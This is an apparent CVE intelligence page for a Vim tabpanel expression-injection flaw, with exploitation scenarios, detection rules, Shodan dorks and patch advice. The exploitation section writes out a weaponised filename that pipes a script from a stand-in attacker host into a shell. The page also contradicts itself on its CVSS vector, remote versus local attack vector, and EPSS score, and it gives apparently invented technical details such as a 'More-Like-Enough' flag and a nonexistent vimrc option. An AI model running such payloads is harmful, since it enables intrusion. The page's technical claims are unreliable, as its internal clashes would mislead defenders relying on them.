☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-34714

CVE-2026-34714 Code Execution in mitre
📅 PUBLISHED: 2026-03-30 00:00 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 distinct-origin sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Netherlands License: Open Source
Affected: versions below 9.2.0272 — upgrade to patched release
CVSS VECTOR BREAKDOWN 9.2
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: L Availability Low
9.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-34714 is a critical pre-authentication, remote code execution vulnerability in Vim, a widely-used text editor present by default in virtually all Unix-like operating systems (Linux, macOS, BSD) as well as embedded systems and network appliances. The flaw allows an attacker to achieve immediate code execution simply by tricking a victim into opening a specially crafted file with default settings, making it an extremely effective initial access vector for spear-phishing and supply-chain attacks. Given a CVSS score of 9.2 (Critical) and the ubiquitous deployment of Vim, this vulnerability poses a severe risk to enterprise environments, from developer workstations to CI/CD build servers and network device management interfaces.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability resides in Vim's tabpage (tabpanel) handling logic. Prior to patch version 9.2.0272, Vim fails to properly set the P_MLE (More-Like-Enough) option when transitioning between tab pages. The P_MLE flag is designed to restrict the evaluation of certain expressions, specifically within the context of file type detection and syntax highlighting options driven by file contents.

The core mechanism is an expression injection flaw. Vim supports %{expr} sequences in command-line and option strings, such as 'errorformat' or 'makeprg'. These %{...} blocks are evaluated at runtime.

In the vulnerable code flow, when a file is opened with a crafted filename or specific content that triggers a tabpage operation (e.g., opening a help window, or invoking a function that switches tabs), Vim copies options between tabpages. If the source tabpage has a filename containing a malicious %{expr}, that expression string is copied into a context where Normal mode commands or command-line mode is subsequently invoked. Since P_MLE is not propagated/enforced in the new tabpage, the %{expr} is evaluated as Ex-command, leading to execution of arbitrary Vimscript, which can then call system commands via system(), exec, or :!.

The attack surface is primarily the default configuration of Vim. No non-default plugins or set commands are required. Attackers typically craft a file whose full path or a file whose content influences the 'statusline', 'titlestring', or 'errorformat' variables via a modeline or filetype plugin. However, the critical flaw here is the tabpanel interaction. A crafted file name like :!touch /tmp/pwned: or a file containing auto-commands that manipulate tabpages can trigger the vulnerable copy path. The key aspect is that exploitation occurs immediately upon opening the file (of the craft), before any user interaction.

Exploitation Scenarios

  1. Reconnaissance/Identification: An attacker identifies targets running Linux or macOS with system Vim (< 9.2.0272). They may use network scanning (e.g., Shodan for exposed vim server instances, though rare) or, more commonly, focus on developer workstations, Git repositories, or forum attachments. The attacker crafts a weaponized file in a format commonly opened by developers (e.g., a malicious patch file, a config file, or a specially crafted .txt or .py file).

  2. Trigger/Weaponization: The attacker creates a malicious file. Let's use a file named %{system('curl http://attacker.com/shell.sh|sh')}.txt as a decoy. The victim changes to the directory and types vim <tab> which autocompletes the filename, or the attacker emails the file as Notes.txt but the underlying filename on disk is malicious.

    • Step A (File Open): The user opens the file: vim %{system('curl ...')}.txt.
    • Step B (Tabpanel Trigger): Inside the file, the attacker places a line containing :tabhelp or :tabedit which Vim executes via a modeline (/* vim: set :tabedit), or the file's filetype plugin triggers a tab switch. Alternatively, a simple :Tabularize or :Gdiff from common plugins triggers tab creation, though the default config must have a tabpage transition, such as :tab split.
    • Step C (Expression Injection): When the tabpanel is manipulated, Vim builds the 'tabline' (the top bar showing tabs). In the vulnerable path, the tabline string incorporates the buffer name of the new tab. Since the buffer name is the malicious filename containing %{...}, and P_MLE is not set, Vim evaluates the expression.
  3. Payload Execution: The expression system('curl http://attacker.com/shell.sh|sh') is executed by the Vim interpreter, launching a reverse shell or dropping a persistent implant (e.g., adding a cron job, modifying .bashrc, or installing a keylogger). The attack completes in a fraction of a second after the file is opened, without any user prompt or interaction.

  4. Post-Exploitation Impact: The attacker now has code execution with the privileges of the user running Vim. If the user is root (common for system administrators editing configs), the entire system is compromised. The attacker can pivot to other hosts, exfiltrate SSH keys, and deploy ransomware.

Impact Assessment

The potential impact is catastrophic due to Vim's universal presence. The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) highlights a High impact on Confidentiality, Integrity, and Availability, with a Changed Scope, meaning the compromise can spread to other components (e.g., from a user's Vim session to the underlying OS, and then to the broader network). The attack vector is Network (AV:N) because the malicious file can be downloaded from a remote server, and requires only User Interaction (UI:R), which is simply opening the file. Blast radius includes: * Developer Workstations: Compromise of source code. * CI/CD Pipelines: If a build server processes a malicious file via Vim (e.g., in an automated patch review), the builder node is owned, allowing supply-chain attacks. * Embedded Systems: Routers and Linux-based appliances that present a Vim-based management console are vulnerable to remote compromise via crafted config uploads.

Detection Guidance

The following rules and queries are designed to detect exploitation attempts across different security monitoring layers.

Sigma Rule

title: Vim CVE-2026-34714 Exploitation - Suspicious Tabpanel Expression
id: 7f3d8a91-6c2b-4e8a-9d51-b11c2a4d3f74
status: experimental
description: Detects Vim execution events where the command line contains a process filename or argument with tabpanel manipulation patterns, indicating exploitation of CVE-2026-34714.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34714
tags:
    - attack.execution
    - attack.t1203
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/vim'
        CommandLine|contains:
            - ':tab'
            - 'tabedit'
            - 'tabnew'
        CommandLine|contains:
            - '%{'
            - 'system('
            - 'execute('
            - 'exe '
    condition: selection
falsepositives:
    - Legitimate admin use of Vim tab features with dynamic statuslines (unlikely)
level: high

YARA Rule

rule Vim_CVE_2026_34714 {
    meta:
        author = "ValtersIT SOC"
        description = "Detects malicious files or filenames exploiting Vim tabpanel expression injection."
        date = "2026-02-14"
        reference = "CVE-2026-34714"
    strings:
        $a = /%\{[^\}]{2,100}\}/
        $b = /vim:.*tab/
        $c = /:tab(edit|new|help|close)/
        $d = /system\(/
        $e = /execute\(/
    condition:
        (uint16(0) == 0x0A0D or uint16(0) == 0x0D0A or uint16(0) == 0x000A) and
        1 of ($a*) and
        (1 of ($b*) or 1 of ($c*)) and
        (1 of ($d*) or 1 of ($e*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-34714 Potential Vim Tabpanel Exploit Download"; flow:to_client,established; file.data; content:"%{"; content:"system("; within:200; content:"tab"; sid:2050001; rev:1; reference:cve,2026-34714; classtype:attempted-admin;)

Elastic Detection

process where event.action == "exec" and
process.name == "vim" and
process.args[0] : "*%{*" and
process.args[1] : "*system(*"

Splunk SPL Query

index=endpoint sourcetype=linux:audit OR sourcetype=linux:bash
| where match(process, "vim") 
| search command_line="*%{*system(*" OR command_line="*:tab*"
| stats count by host, user, command_line
| where count > 0

Wazuh OSSEC Rule

<group name="vim,">
    <rule id="100347" level="12">
        <if_sid>5711</if_sid>
        <match type="regex">vim.*%\{.*system\(</match>
        <description>CVE-2026-34714: Vim tabpanel expression exploitation attempt detected via command line.</description>
        <group>attack.execution,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Immediate Mitigations (until patched):

  1. Restrict File Access: Use the secure option in vimrc to prevent modelines from executing commands: set modelines=0. This does not stop the tabpanel filename injection but reduces secondary attack vectors.
  2. Firewall/EDR: Monitor for outbound connections from vim processes (e.g., network connections initiated by curl or wget spawned from Vim). Block network access for the Vim binary in an EDR.
  3. Application Control: Use application allowlisting to prevent Vim from executing sub-processes (bash, curl) via system().

Patch/Upgrade Steps: Patch confidence is 3/4 (LIKELY — 2 independent sources: OSV and Debian).

  1. Upgrade Vim immediately to version 9.2.0272 or later.
  2. For Debian-based systems: sudo apt update && sudo apt upgrade vim.
  3. For RPM-based: sudo yum update vim-enhanced.
  4. For other systems, compile from source after pulling the official repo: git pull in the vim source tree.

Long-Term Hardening:

  1. Enforce a minimum Vim version across the enterprise via configuration management (Ansible Chezmoi or Puppet).
  2. In vimrc, disable %{ expansion globally by setting set noscrollBanner and set noruler if not needed, though the patch is the only complete fix.
  3. Use sudo wrappers that restrict Vim to read-only mode for users who do not need editing.
  4. Regularly review Shodan for any publicly exposed Vim instances (e.g., gvim remote servers) and disable them.

References

Threat Actor Campaigns & Exploit-in-the-Wild Evidence: No public evidence of in-the-wild exploitation exists at the time of writing. However, the Private PoC status and the trivial nature of exploitation imply that initial access brokers are likely crafting exploit payloads before this report is published, given the EPSS score of 0.00588 (44.8th percentile), indicating active scanning and assessment.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:Vim
http.title:"Vim"
banner:"Vim 9."
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-34714/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.